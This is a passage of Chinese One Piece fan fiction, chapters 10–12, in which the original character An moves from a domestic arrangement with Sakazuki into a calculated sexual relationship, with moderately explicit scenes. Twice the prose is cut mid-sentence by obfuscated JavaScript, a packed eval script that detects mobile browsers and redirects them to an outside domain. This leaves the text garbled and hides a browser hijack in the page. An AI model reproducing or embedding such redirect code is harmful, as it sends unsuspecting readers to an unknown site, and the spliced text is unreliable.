总共四件和服,还有几件相配的头花发饰,安看出那都是真金白银和手工花,本想拒绝,鹤的态度很坚决:“朱鹮和孔雀完全不喜欢这些东西,你就满足一下我想要打扮女孩儿的愿望吧。” 之后,鹤彻底迷上打扮安。这么说可能有点不太礼貌,但是安像极了洋娃娃,顺从又精致,怎么摆弄都不会不耐烦,叫人欲罢不能。鹤没想到她从小到大玩刀耍枪,人到中年才爱上“换装游戏”,不仅是衣裙,鹤还给安购入一整套的化妆品:“萨卡斯基那小子肯定不会想到给你买这些,虽然你可能有,但好像没见你用…一些重要场合可以打扮一下。” 环境足够稳定且有必要时安会打扮,否则本身就容易引起抢夺,打扮以后日子更是不得安生。在史基身边属于前者,在莱卡和马林梵多是后者,安思考了一下,事到如今马林梵多应该也不会再出岔子,萨卡斯基看起来也足够给力,安便收下化妆品,配合鹤与孔雀的装扮欲望添加自己的巧思。 盛装打扮后从鹤的家门走出去会遇到其他中将,安才知道原来卡普、波鲁萨利诺、库赞都住在鹤这一栋。最有趣的当然要属遇到库赞,他每次都很“巧”地在安要回去的时候出现在电梯里,要么丢垃圾要么散步,然后他会坚持到异常的程度,一定要送她走进家门落好锁才肯离开。 两个月半后·傍晚。 军舰靠岸,从船上延伸下来两条舷梯,一条供修船工及后勤部门到舰船上检查问题、补充各种各样的物资,一条供船上的海军上岸。海军们在船上整齐列队,乔纳森也在其中,少将请萨卡斯基说两句,萨卡斯基抬手表示不必。作为船上最高军衔,萨卡斯基可以最先离开,刚踏上舷梯,男人似想起什么扭过头:“乔纳森,你跟我来,回办公室再确认点东西。” 乔纳森本就归心似箭,这个逼队谁爱列谁列他要回家亲老婆的心态,萨卡斯基这么说他更是人都麻了,拜托杰西卡在家做好饭等着他呢工作明天再说不行吗!!虽然心里一千万头草泥马狂奔而过,但表面上乔纳森还是一脸严肃,规规矩矩报告出列跟着萨卡斯基下船。 尽管满肚子怨气,但乔纳森很了解萨卡斯基,涉及到工作他说一不二,既然如此也只能尽量提高效率争取快点搞完,反正明天开始有三天补休,可以和杰西卡尽情亲近,他忍!两人很快走到岔路口,萨卡斯基停下脚步对乔纳森说:“回家吧。” “…啊?”乔纳森没反应过来,“回什么家?” “杰西卡不是做好饭在家等你吗?”萨卡斯基斜了乔纳森一眼,靠岸前他听到乔纳森给杰西卡打电话虫,杰西卡是这么说的。 “没错,那工作…”讲到一半乔纳森彻底懂了,萨卡斯基这是把他从船上提溜下来,让他可以不用跟着大部队浪费时间!果然有了老婆就是不一样,以前萨卡斯基哪会考虑这些,说加班那是真的加班啊!乔纳森在心里感谢安100次,嘴角咧到耳朵,用冲刺的速度离开:“那我走了哈!明天开始我休假哦别忘了,别给我打电话虫!打了我也不会接的!!” 萨卡斯基从鼻子哼出一声作回应,转身朝另一个方向,忍耐着没有用见闻色提前查看家里的情况,为的就是打开门那一刻的惊喜。 个屁,没人在家。 在家中所有地方转了一圈确定安不在家,萨卡斯基站在客厅眉头紧皱,把所有可能性都排查一遍也想不到这个傍晚时刻安能去哪里。家家户户都是吃饭时间,她和谁一起吃饭吗?杰西卡今天不可能和她有约,和别的男人?…不,也有可能是遇到危险。 强大的见闻色霸气以男人为圆心铺散开来,尽可能往远的地方延伸,不放过任何一个可能的角落,好在担忧很快解除,萨卡斯基在隔壁栋感受到安的气息,那是…鹤中将的家,难怪。萨卡斯基一下子安下心来,他不想打扰她的社交,这么一来也许会没法一起吃晚饭,但是没关系,只是晚那么一点相见。 他把行李暂且放在沙发上,现在还不想收拾,因为想看看出去两个月家里有什么变化,最明显的就是露台上的花开得很好,于是萨卡斯基坐在露台的花园椅上,配套的还有一张小桌子,这是他给安钱后没过多久她买的,只是萨卡斯基一次也没有在这里坐过。桌子上放着安的阅读物,她竟然连法律也看,是他书柜里的《世界政府推进城监狱法》,这样的读物有趣吗?他是不是应该买点其他的…不,她想看什么自己会买,乔纳森说有时候别管太多。 有风吹来,不是硫磺和硝烟的味道,只有咸咸的海风、花香和若隐若现的洗涤剂的香味。萨卡斯基靠上椅背上深深地叹了一口气:真舒服… 他合上眼睛眯了一下,门锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301804|182784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一响就醒,天还是亮的,比之前暗了一些,可能也就过去十来分钟。他的鞋子在玄关,还有制服,安应该一下就看到,果然她没往里走而是扬声询问,语气里带着明显的惊喜:“萨卡斯基?你回来了吗?” 按照原计划并回不来,但萨卡斯基几发冥狗提前结束美容油岛屿任务并拒绝空元帅的下一个任务安排,不知为何空元帅在电话虫里欲言又止,最后竟然松口,他全速返航,所以是的,他回来了。 “你出门了?”虽然知道她去了鹤中将那里,但她不知道他知道,萨卡斯基从摇椅上起来,转身看向两个半月不见的人。 “我在鹤姨那里。她和朱鹮小姐又送了我好些衣服…”安看到他赶紧迎上去,脸上是止不住的笑容,提起鹤又转成无奈,她把手中的袋子放下,给萨卡斯基展示身上的和服。那是一件奶白色作底,绣着暗纹、下摆和袖子染有红色山茶花的有点郑重的付下,安为此涂了口红,插在发间的红色绉布头饰的流苏随着她的动作在她耳边晃荡:“怎么样?适合我吗?” 萨卡斯基从她进门视线就没离开过:“很美。” 这是萨卡斯基第一次称赞女人,安似乎也意识到他的不一样,脸颊发红,在他的眼神低下头,显得有些慌乱,她的目光游移,最后定在沙发的背包行李上:“你刚回来吗?有没有吃饭?” “还没有。” “那今晚是在家吃吗?” “打扮得很漂亮就不要下厨房了,出去吃。” 安的脸变得更红,她受不了一般转过身走向电话虫:“那我打个电话虫跟鹤姨说一下…本来是打算回来放下东西和她们一起出去吃的。” 说明情况后,鹤非常理解小两口小别胜新婚,孔雀多少有点闹别扭,不过很快被爷爷哄好,两伙人各吃各的。 安和萨卡斯基去的是之前和波鲁萨利诺、库赞一起去过的高级餐厅,连包间都是同一个,尽管服务人员受过严格培训,依旧没能在上茶点单时藏住八卦的眼神。安的美貌让她更容易被造谣、幻想,以往的世界有时候造谣和幻想会成真,当然安从不主动,但是无法反抗导致和不同的男男女女纠缠是事实,安也很心烦,既然萨卡斯基也有那个意思,那她要尽快攀上这棵大树,今晚会是个好时机吗? 她注意力偏移,只指着菜单随意点了两三盘食物,萨卡斯基也吃不惯这种精致的餐点,只再加了一些。 “我出差的期间,有什么特别的吗?” 安看向萨卡斯基,明白他不是查岗,只是普通闲聊,一边想他真是心大一边又庆幸他这样对自己更有利,庇护者疑神疑鬼意味着安必须花费更多时间精力哄他来让他安心。 “鹤姨说我总是给他们做吃的,给我买衣服做回礼,战国先生的回礼是钢笔,卡普先生的是仙贝大礼包…放不久我就吃了。卡普先生就算了,只是一点吃的,战国先生和鹤姨的礼物我收得有点不好意思,尤其是鹤姨,她还给我买真金白银的首饰。” 萨卡斯基想了想:“已经收下的东西就收下,不必不好意思。接下来由我来给你买。” 在这一刻完全确认萨卡斯基的心思,安顺从地点点头:“还有就是空元帅和泽法大将…问仪式什么时候举行。” 萨卡斯基和安同时陷入沉默,外人不知道他们的关系,实在是没法解释,虽说如今萨卡斯基确定自己对安的想法,可以顺势而为,但他不屑占这样的便宜,不会理所当然认为安就此属于他。 “我知道了。”正巧菜品上桌,萨卡斯基抬抬下巴:“先吃饭吧。” 点的不多,就餐很快结束,萨卡斯基不是波鲁萨利诺那种有闲情雅致吃饱饭还喝茶的类型,他确认安吃饱后就起身回程,安乖巧地跟在他身边,离开餐厅没多久安就问道: “待会你还要回办公室吗?” “不用,这次任务的报告我已经在归航的路上写好了。” “那回到家你想吃什么?” 萨卡斯基扭过头去看她。 “衣服可以换下来再进厨房,回家我再给你煮点,你根本没吃饱吧。” 萨卡斯基眉眼是他自己都不知道的舒展:“你做什么我吃什么。” 10. 第十章 第二天清晨,两人延续萨卡斯基未出差时的模式,由萨卡斯基去饭堂打早餐回来,吃过安送萨卡斯基出门。 萨卡斯基到办公室的第一件事是去战国的办公室交报告,战国接过文件没有看,而是放到一边,抬眼盯着他,萨卡斯基不动声色,他虽然和战国不是一派但关系不差,他也没做错任何事,引不来对方的责难。 “你和安什么时候举行仪式?” “…………………………” 随着萨卡斯基的沉默越长,战国的表情越差,最后甚至露出岳父看女婿的嫌弃,但他没忘记自己只是萨卡斯基的领导,只能嘱咐:“别让人姑娘等太久。” “…知道。” 这边的萨卡斯基回到岗位,那边的安正在灶台上炸牛奶准备一会儿送去本部。她已经想好了,炸完牛奶她会换上另一套还没有穿过的和服,意味着谁也没有见过的美丽姿态去给萨卡斯基和他的同僚们送吃的。安回想昨晚,她以为的□□并没有发生,萨卡斯基吃饱后很正常地放她去睡觉了,半夜也没有袭击她,这说明萨卡斯基把主动权交给安,以安的经验,现在还缺一把火候,她会持续火上浇油,最后在合适的时机彻底攀上萨卡斯基这棵大树,仅仅让萨卡斯基喜欢她是不够的,她的美貌会让道德人伦乃至人性都岌岌可危,她需要出问题的时候有强者坚定地选择她。 如何给足男人面子,安很有经验,她掏出鹤给她的化妆品根据今天的衣着涂抹了一些,从家属楼出来,短短的路程不下十个人因为看她而撞到东西或者摔倒,这是受到诅咒的美貌,好在经历那么多,安已经习惯这份“力量”。 今天波鲁萨利诺不在,但是库赞在,他看到安的时候一改懒散样猛地坐直身子,后面就跟被关在笼子里焦躁不安的小狗一样就差没有叫起来,他似乎很想离开,可是安一来他就走也太明显了,他虽然不想和她待在一起,也不想让她以为他讨厌她。 办公室的其他人甚至被美到愤怒,知道安在萨卡斯基出差回来第一天就做了吃的送过来,大家更羡慕嫉妒恨,一边怒吼“萨卡斯基你小子今晚睡觉最好睁着眼睛我要上门暗鲨”一边急吼吼往嘴里塞炸牛奶,被烫到也不停嘴。 “不用太辛苦。” 办公室这帮人个个跟饿死鬼投胎一样,不管她送什么来都吃得一干二净,她大概是怀疑自己分量没带够,下次加倍多做,萨卡斯基不下厨房,但他知道饭菜甜点不是随便就能变出来的,从买菜到清洗到前期准备到实际去做,一整套流程下来很费时间力气,而且也没全进他肚子。 看他们吃得开心,他就不爽。 “他们是你的同事,可能会和你一起执行任务或者支援你,我希望你每次出差都能安全回来。” 这是安的真心话,作为遗孀要攀上另一棵大树难于登天,军队是秩序严明的地方,她不可能顶着萨卡斯基亡妻的头衔成为大将或者元帅的军属。 她很清楚这话的暧昧程度,实际上她需要做这样的引导,强者们大多自信到自负,他们的实力让他们有资本自负,金钱、地位、伴侣,他们都是享受的第一梯队,尽管安超乎寻常美丽,也不过是个手无缚鸡之力的女人,他们不会想到这样的女人会不爱他们。 萨卡斯基也不会例外。 男人的目光如同岩浆将安裹挟,似是要将她融化。安适时垂下脑袋作出娇羞的模样去打开另一个饭盒,里面不仅有炸牛奶,还有切好摆盘的水果,安从小布包里递给他一个叉子:“小心烫。” 目击这一切的同僚们被闪得食不下咽,有人嘟嘟囔囔:“萨卡斯基可是岩浆,怎么会怕烫!” 萨卡斯基瞥了对方一眼没有理会,认真把安带过来的东西吃光:“下次来只做我的份。” 安依旧是那副娇羞模样,耳朵泛红着点点头,办公室的人接连受到暴击,大流宽面条泪,敢怒不敢言。 当天萨卡斯基回家吃的晚饭,但是吃饱后又回了办公室,作为海军最有望升为大将的中将,他太多事情要忙,即便组建了自己的团队,强纳森也很能干,依旧有很多事情要萨卡斯基亲自拍板定夺,出差更是导致事情堆积如山,若是平常他干脆就睡在宿舍,但是现在家里有人在等他。 唯一不好的是安总睡在沙发上,讲不听,今天也是,萨卡斯基再一次看着蜷在沙发上的人眉心隆起,走上前去本想连人带毯子一起抱回房间,弯腰时,也许是她今天睡着的样子太放松,又也许是今天的夜灯太朦胧,男人的视线定格在安的侧脸,他收回手,缓缓蹲在沙发旁。 安睡眠好,如果不挪动她,她不会被声音吵醒,这意味着他喜欢看多久都行,但今夜注定是一个特殊的夜晚,安莫名其妙醒过来,她很快看到面前的萨卡斯基,昏暗的灯光里他一瞬不瞬地注视她,对上眼也不曾移开视线,安迎着对方的视线缓缓撑起身子,回望这头在暗夜展露欲望的野兽,小绒毯从她的肩膀滑落,露出胸前一大片雪白细腻的肌肤:“你回来了。” 半晌,萨卡斯基缓缓开口:“不是说过如果太晚就回房间睡吗?” 安不回话,只是用那双眼睛幽幽地看着萨卡斯基,男人靠近她,结实的双臂穿过她的后背和腿弯,抱起她往她的房间走。她已经醒了,可以自己走回房间,但是萨卡斯基还是选择抱她回去,安意识到时机已到,于是在对方放下她的时候伸出手臂抱住他的脖子:“萨卡斯基,不要走…我好寂寞。” 萨卡斯基拉被子的手一顿,“你知道自己在说什么吗?” “我知道。” 大家都是成年人,孤男寡女在同一个屋檐下这么长时间发生点什么很正常,萨卡斯基绝不会占女人便宜,他不缺女人,安会提出来也合情合理,在这个马林梵多,她能依靠的只有他,而且从种种迹象看来,她已经动情。 萨卡斯基只是没想到会这样…销魂蚀骨。身体上的感受自然强烈,他没想到对方能够那么轻易地将自己完全纳入,更要命的是她的眼泪,她的吟哦,她的喘息,她的潮湿。 是她在叫他的名字。 “萨卡斯基,萨卡斯基…” 她像一片风中的落叶瑟瑟发抖,毫无依靠,只能拼命地攀着他、绞紧他、呼唤他,试图把他留在身边。 安非常感谢萨卡斯基完事后愿意带她去洗澡,她太久没有和男人□□,身体还没有习惯强烈持续的高潮,如果他不在浴室做第二次安会更感谢他,但浴室再做一次是所有带她去洗澡的人的常规操作,安选择原谅。 她不记得自己到底是什么时候睡着的,反正第二天醒来已经接近中午,她裹着被子躺在萨卡斯基的床上,外面有人活动的声音,安忍着浑身酸痛爬起来查看。 萨卡斯基提着午饭刚回到家,洗好的床单被套在阳台晾着,看颜色和款式就是安床上那套,萨卡斯基把午饭摆在桌上,让她去洗漱。 两人吃饱以后安收桌洗碗,洗着洗着她感觉到不太对劲,一抬头萨卡斯基还在客厅坐着。她的脑袋上冒出小问号,萨卡斯基不会午休,平常吃饱没那么紧急会稍微坐一会,忙的话吃过就回办公室,今天怎么连制服都没有穿:“不用去工作吗?” “我休两天假。”清晨拨通这通电话时,电话虫非常忠实地模拟出战国错愕的表情,结果是好的,萨卡斯基拿到假,战国甚至把他的紧急工作挪给其他人做,希望他能在家好好陪陪安。 安闻言适时露出心疼的样子点点头:“忙了那么久那么累,是该歇歇。那你今晚想吃什么?我给你做。” “火锅吧。” “好,我等会打电话去定食材。” 营造这样的家庭和夫妻氛围感对安来说轻而易举,说实话她不太在乎萨卡斯基在不在家,她已经很习惯和随便什么人待在一起演绎出“我很爱”的样子,她还以为萨卡斯基又会进书房,但是没有,他一直呆在客厅直到她把厨房和饭桌收拾干净,既然如此她便切了点水果端给萨卡斯基,把食材定好以后去露台侍弄花。 萨卡斯基跟出来看安忙活:“养得很漂亮。” “谢谢。你之前是太忙没空浇水吧,原先在露台上的大部分植物都属于好养活的类型,不需要怎么花心思。” 对,花店的人也是这么介绍的,但买回来他永远忘记露台上有植物,死了买,买了死,在安来之前,他的露台有不少植物的亡魂。 “你还买了很多别的。” “是的。这盆是昨天才搬回来的,颜色很特别,不过有点娇气;这盆名字很好听,叶子还可以入药;这盆…” 萨卡斯基静静听她介绍,他和她住了几个月,从来没有这样休闲地对过话,因为这样那 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萨卡斯基去开门,却不是预想中的货品,一大束娇艳欲滴的红玫瑰直直怼到他的鼻子下,对方故作潇洒的油腻表情在看到萨卡斯基冷硬的五官时僵住,但他很快调整好,露出一副见到同事的熟络表情,仿佛敲开别人的家门给别人的伴侣送玫瑰的人不是他:“你在家啊萨卡斯基。” 萨卡斯基没有接话,冷冷地看着对方,没有要将此事寒暄过去的意思。大家都是男人,尤其麦克出了名男女关系混乱,萨卡斯基懂对方的肮脏心思,稍稍一想就知道这是怎么回事:他今天没在办公室,工作狂不在办公室只会被人认为出差而不是休假,所以对方觉得有机可乘,这大概率不是麦克第一次接触安。 看萨卡斯基不搭话,麦克的面子也有点挂不住,但萨卡斯基不是任人揉搓的好脾气,他的实力更叫人忌惮,表面功夫还得维持,而且不是有一个很完美的替罪羊吗,若是能让他们感情出问题,他更好捡漏:“东西我已经送到了。可能是你夫人忘记告诉你,她昨天拜托我帮她买花。” “安从来不买玫瑰。” 是的,萨卡斯基观察到了,安爱花,但是家里一次都没有出现过玫瑰。 那束玫瑰当然没能进来,它连同不速之客被拒之门外,萨卡斯基去看安,她已经把茶泡好,神色如常。 “他以前来过吗?” “麦克中将?是的,在你出差的时候。有时候从鹤姨那里回来的路上也会碰见。”安用了很委婉的说法。 萨卡斯基皱起眉,他出差回来的时候问过她有没有碰到什么事,安完全没有提这个:“为什么不告诉我?” 安顿了顿:“我很感谢你让我作为你的军属住进马林梵多。” 萨卡斯基明白了,在昨天以前,他们在外是一家子,可实际上只能算住在一个屋檐下的同居人,即使暗生情愫,安认为自己没有立场要求萨卡斯基为她处理任何困扰。 “然后呢?你怎么处理?” “我会装作不在家。”出鹤的家门她总会遇到库赞,他会借着倒垃圾或者买东西把她送回去,所以麦克至今还停留在“遇到”的阶段,这部分萨卡斯基不深究就不必主动交代。安知道中将都会见闻色,她装不了“不在家”,但有什么关系呢?“安”的家门很好闯入,“萨卡斯基和安”的家门没人敢闯。 他确实应该多陪陪她,萨卡斯基想。 “以后有什么都可以和我说。” 安点点头,表情放松下来:这是自然,她爬上男人们的床就是为了这个。 这段小插曲没有影响到两人,他们继续度过悠闲的午后,烹饪品尝美味的饭菜将邻居的单身中将馋死,消食洗漱过后差不多是休息的时间。 安早就把自己的床单被套铺回去,如果可以她想缓缓,她从洗漱间出来往自己的房间走,还没到目的地,男人开口道:“要睡了吗?” 安闻言扭头去看萨卡斯基,他站在客厅和走廊的交界处,逆着光,昨天那只野兽再次现身,安读懂他的暗示,于是她走过去,柔软的双臂缠上男人的脖颈,带着浓浓后鼻音的话语无疑是撒娇的意思:“那你要温柔一点哦。” 萨卡斯基含着她的唇,低低应了声。 11. 第十一章 萨卡斯基遵守承诺,他比第一夜克制很多,完事安还有力气爬起来洗澡,萨卡斯基没有跟过来,否则又要重蹈覆辙。安拖拖拉拉洗过澡回了自己房间,倒不是不愿意和萨卡斯基一起睡,一个是他的床一片狼藉也不知道收没收拾,安可没力气现在整理,第二是困到无法思考下意识的动作。 她在自己的床上安稳度过一夜。 第二天萨卡斯基还休假,他同样没外出没处理公务,只是呆在公共空间和安一起,该吃饭就吃饭,该休闲就休闲,他有更多时间观察安,比如她会把临时拿出来用的东西归到原位,做饭的时候切完菜会把桌面擦干净再进行下一步,晾晒衣物扯平顺了再挂上衣架…都是一些微不足道的事情,却能显示她良好的生活习惯和教养,加上她字写得漂亮、有学识(她看得进法律)、会做料理,这通常意味着不错的出身,至少她成长的环境让她有闲情雅致去注意细节和培养技能。 仔细想想他好像完全不知道安的来历,强纳森向他报告过安的情况,只有她在莱卡生活的那两年,没有之前的记录,强纳森提到过询问安来历时她露出了为难的神色,似乎不想告知,对此萨卡斯基并不在意,谁都有不想说的事,安不说,他就不问。 两日的假期一眨眼结束,萨卡斯基回到工作岗位,两人关系更进一步的事情很快被其他人察觉,大家都是人精,没理由看不出来。工作狂竟然休假,而且休假回来脾气变得平和许多,原本一下就会暴怒的事情,现在也只是眉头紧皱地去处理,显然是受到滋养。 萨卡斯基不否认心情很好,安是个很上道的女人,相貌和身体契合度自然不必说,发生关系之后,她态度上没有任何改变,不会主动要求什么,但也不会太被动而显得无聊,更不会在外头以什么身份自居,非常省事。 还有早上,以往安每天都会送萨卡斯基出门,站在玄关,拿着他的外套,看他穿鞋,再把外套递给他,最后跟他说“路上小心”。休假结束的第一天,他看着安,俯下身吻了她,她非常顺从,肉眼可见变得开心,即便只是嘴唇相碰,她也红了脸颊,瞳孔变得水汪汪的,里头只装着他,萨卡斯基认为没有男人不喜欢这样。 随着日子推移,安逐渐暴露小性子,都是些无伤大雅的,萨卡斯基反而觉得可爱,除此之外她把家里收拾得井井有条,做饭好吃,园艺和花艺超出他想象的优秀,花圃的花五颜六色开得茂盛,剪下来随便就能插出优秀的花艺盆栽作品,这让他们在家里有了一些共同话题。 要说有什么不好,不,也到不了不好的程度,安会回自己的房间睡。两人的夜间交流通常在萨卡斯基的房间,除了第一晚她失去意识被迫毫无选择,其余时候只要安还醒着就会爬起来洗澡然后回自己的房间,还处在假日白天能看到人就还好,一旦上班,只有短暂的接触时间让萨卡斯基越来越不满足,他不是会一直纠结的性格,于是在某个深入交流后的夜晚,他跟着安一起进浴室,在她有点为难的表情里一起安分地洗了澡(有个部位不太安分但不影响),一起躺到了她那张不大的床上。 当安发现他只是想一起睡觉后便松懈下来,如同第一晚躺在他的怀里很快入了梦,萨卡斯基心想这才对。第二天他还不忘把安房间的床换成大床,这么一来他们就可以在主卧的床上亲近,在客卧的床上入睡。 萨卡斯基简直被从头顺毛到脚。 他变得更愿意把工作带回家做,带着大家加班的频率直线下降(因此强纳森和底下的人把安奉为女神),因为不想再好几个小时听不到安的声响,萨卡斯基让她从客厅看书挪到书房,于是安买了个软绵绵的豆子沙发,没骨头似的坐没坐相,即便如此萨卡斯基还是觉得可爱…他多少有点不适应这样的自己。 好处就是安真的很会伺候人,还会带着他一起休息吃点水果。之前她切到他桌上,他有时候做事太专注会忘记,最后结束看到再一口气吃掉,现在安会坐到他对面,两根叉子,有时候是一根,你一口我一口,发表一些诸如“今天的芒果还可以”、“这梨听说是新品种”之类没有营养的对话,但萨卡斯基心想,可能这就是亲密关系,日子过下来不会有那么多有意义、重要的事要说,也没有轰轰烈烈,只是和对方分享想说的话、做过的事、吃到的东西,从而变得相互交融,再也分不清你我。 “我今天买了柑橘。” “嗯。” 萨卡斯基在写东西,于是安将皮剥开,放了一瓣进嘴巴,抿到些许汁液后,面无表情完完整整把那柑橘瓣拿出来递到萨卡斯基嘴边并看他毫无防备吃下,笔尖一顿。 男人扭头去看安手中其貌不扬的柑橘,只缺了一瓣,而安眨巴着眼睛问他:“甜吗?” 那股可怕的酸味还在他嘴里荡漾,他老实地摇头,安决定都做成果酱,眼看差不多是睡觉的时间,萨卡斯基却完全没有停下来的意思:“我要去睡觉了,你呢?” “我还没那么快,你困了就先睡。” 两分钟后萨卡斯基进到房间时女人正趴在床上翘着脚看书,又细又直的小腿交叉,正转着脚腕消遣,萨卡斯基走过去放下她的小腿,覆到她身上,亲她裸露在吊带睡裙外的肩膀。 她扭过头接受他的亲吻:“工作呢?” “晚点做。” 男人炽热的手伸进她的裙底,安一如既往顺从。今天安精神还可以,做完清理完还不困,可能是多少已经习惯萨卡斯基的强度和频率,而且今天白天她睡了午觉。 “今天不困吗?”萨卡斯基看安不像平常被子一裹就睡熟,便把文件拿进房间里看。 “有点睡不着,下午睡太多了。”安翻了个身侧向萨卡斯基看他批文件,她知道他平时在她睡着以后都会回书房工作。 “睡了多久?”萨卡斯基随口问道。 “三个小时。” 男人扭头去看她,眉间露出不太理解的神色,他除非伤到只能这么躺着,否则根本不可能睡三个小时午觉。安才不管萨卡斯基能不能睡那么久,现在是她睡不着,她很无聊。 萨卡斯基选择一边工作一边陪她,他把安搂坐起来,蒲扇一样的大手有一下没一下拍着她的腰侧,大概是想把她哄睡,但诚意不多。 “萨卡斯基,明天你要吃便当吗?” 还是不想睡,说说话吧。 “不要忙了,我明天要出去。” 安从鼻子嗯一声表示听到,“那明天晚上还回来吗?” “不回了,你睡觉前把门锁好。” “好。”安突然抬起脑袋去看他的头发,“你头发是不是该剪了?” “是,一直抽不出空。” 萨卡斯基说起头发就心烦,波鲁萨利诺和库赞总是偷懒,要么做不好,要么干脆不做,最后事情都到他的头上,一个人干三个人的事,能不忙吗,而且萨卡斯基也想做出成绩,他有野心,想往上爬。 “嗯…”安帮不上忙,只能摸摸他的脑袋,“我也想剪头发。” 萨卡斯基侧头就着昏黄的灯光看安披散整个后背,落到他手臂上,绸缎一样的黑发说:“这样也挺好。” “吹头发有点麻烦…就没有那种碰一下头发就能干的吹风机吗?而且你老是压到我的头发,做的时候压到,睡觉也压到。” “我道过歉了。” “我没有怪你的意思,就是痛嘛。” 安这么说,萨卡斯基也觉得可能剪短一点好,安的头发又多又厚,有几次洗完澡太累搞不动想湿着头发睡觉是萨卡斯基给她吹的,吹得好不好先不说,吹了大半个小时都吹不干实在是很挑战萨卡斯基的耐心,他认为有空吹头发还不如干别的事,但他总不能要求安跟他一样留平头。 他亲了一下安作为安慰:“知道了,去剪的时候叫上你。睡吧。” 和安有约定,萨卡斯基特地挤出时间来,他自己一个人剪哪家都一样,不过安应该会想要剪得漂亮些,所以他问了波鲁萨利诺,带她去一家在马林梵多很受女眷欢迎的预约制沙龙。 这家店经常接待波鲁萨利诺以及他的女伴,倒不至于惊慌失措、兵荒马乱,可是萨卡斯基中将跟波鲁萨利诺中将终究是不一样,听说萨卡斯基中将特别严肃,于是店铺早早就严阵以待,力求提供最好的服务,但是萨卡斯基一进门他们就蒙圈了,那那那那难道是传说中萨卡斯基中将带回来的女人?真的如同传闻,好美… 店长不愧是店长,他最早回神,在萨卡斯基爆发之前(他已经看到他沉下来的脸色):“欢迎光临!萨卡斯基中将和…和夫人,请问两位都要剪发吗?” 萨卡斯基和安同时因为这个称呼一愣,店长心里一咯噔:难道喊错了?但是萨卡斯基中将看起来没有生气的样子…带着忐忑不安的心情,店长将两位贵客引到颇有设计感、半开放的包间,并排坐在镜子前。 等待时店长烦恼很久,最终决定亲自服务萨卡斯基,派一个资深女性理发师去服务安。 萨卡斯基的要求很简单:“平头就好。” “夫人,您想怎么剪?” 男人跟女人理发差得可远了,夫人还可能要烫发、染色,女性理发师一边恭敬地询问一边捻起安的发尾查看发质,指腹那美好的触感让她有点惊讶。 “萨卡斯基,我可以自己决定发型吗?”安扭头问道。 “随你。”萨卡斯基是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今天是他的休息日,只是工作太多走不开所以要请假,战国听说他要带安去剪头发,把他的一些工作挪给了库赞和波鲁萨利诺,不过萨卡斯基不打算休足一整天,剪完头吃过午饭把安送回家后他就去办公室工作,但是可以在家吃晚饭。 沙龙给他泡了上好的红茶,装在精致又漂亮的茶杯里面,萨卡斯基瞥了眼,一口没喝。等待期间他算是搞明白这家店,他坐在半包围的vip房间,沙发摆放的位置正好可以看到外面走来走去的人,而里面的人却可以根据坐的沙发位置不同,被外头看到或者隐匿起来不至于被外头探查到太多。 这样设计是为了满足一些社交需求,男人们有男人们的社交渠道,女人们也有,甚至男人通过女人社交获取情报,萨卡斯基懂政治,为了得到更高的地位,他逐渐擅长。 萨卡斯基坐在可以被看到的位置,所以他认出不少熟人的家眷,还见到一些来接妻女的熟人,他们也看到他,不过鉴于萨卡斯基出现在这家沙龙太过诡异且不符合他的性格,暂时还没人敢来烦他,只是互相隔空点了点头打招呼。 他很清楚今天过后他和安的流言蜚语会传遍整个马林梵多和贵族圈,他把安带回马林梵多只有小部分人知道实情,即使有传闻安和他住在一起,没有亲眼见到,绝大多数人根本不相信,对比其他中将,萨卡斯基不圆滑,不阿谀奉承,不左右逢源,贵族圈的大人物都不想和他联姻。 萨卡斯基觉得这样很好,他不需要联姻来平步青云,他会靠自己和拳头走到那个高度。 至于会不会给安带来麻烦,他想不会有问题。她性格实在安静,带回来这么久,除了必要采买和送饭她几乎不出门,一个人在书房看书,照顾花圃和打理家里就似乎让她很满足,萨卡斯基不限制她,想要去社交也可以,但没名没分,即便去巴结,那些女眷也瞧不上她,受屈辱后萨卡斯基不会帮她任何。 至于将来…不,现在思考和这个女人的将来毫无意义。 萨卡斯基看了眼安,她一下就察觉他的目光,他们对视,安直到萨卡斯基移开视线才垂下眼,就是不知道这在有心人眼里会变成什么故事。 短发果然也很适合安,短发的她看着比长发更活泼可爱一些,萨卡斯基按照计划带她在餐厅吃中饭送她回家后去办公室,伴着夕阳到家吃晚饭,安做了他最爱吃的辣口菜肴,可惜安和他吃不到一块,她压根吃不了辣。 萨卡斯基还不太习惯她短发的模样,总觉得有点别扭,可是等到就寝时间,安趴在他身下,那节一直隐匿在长发下的雪白后颈因为快感而变成粉红色的时候,萨卡斯基在上面种下吻痕。 12. 第十二章 八卦传播速度果然快,第二天就连当天巡逻的底层海兵都知道萨卡斯基带着女人去了沙龙,还在里面等她老半天。 那可是萨卡斯基,换成任何一个别的中将都只是大人物们的桃色新闻,说两句消遣下就算了,比如波鲁萨利诺中将换女伴速度就很快,但是再说一遍,那可是萨卡斯基,他对女人的态度摆在那里。 “以前也有个贵族小姐给他送饭,叫什么来着…”巡逻两海兵一组,走累可以躲到角落偷个懒,史蒂夫深吸一口烟说道,却怎么也想不起来对方的名字。 “瑞秋?” “啊对对对,就是叫这个名字。” “我记得闹得挺大的,萨卡斯基中将油盐不进,说话又直接,把人家女孩子都说哭了,空元帅发了好大的火。” “再怎么样人家也是贵族,不要面子的咩。不过我能理解萨卡斯基中将,安夫人是不一样的,没有男人不喜欢她。” “我懂,我要是萨卡斯基中将,别说去什么沙龙,她就是要天上的星星我也得想办法摘下来送她。” “啊——可恶啊萨卡斯基这混账,运气怎么那么好!他两肯定睡过了吧?” 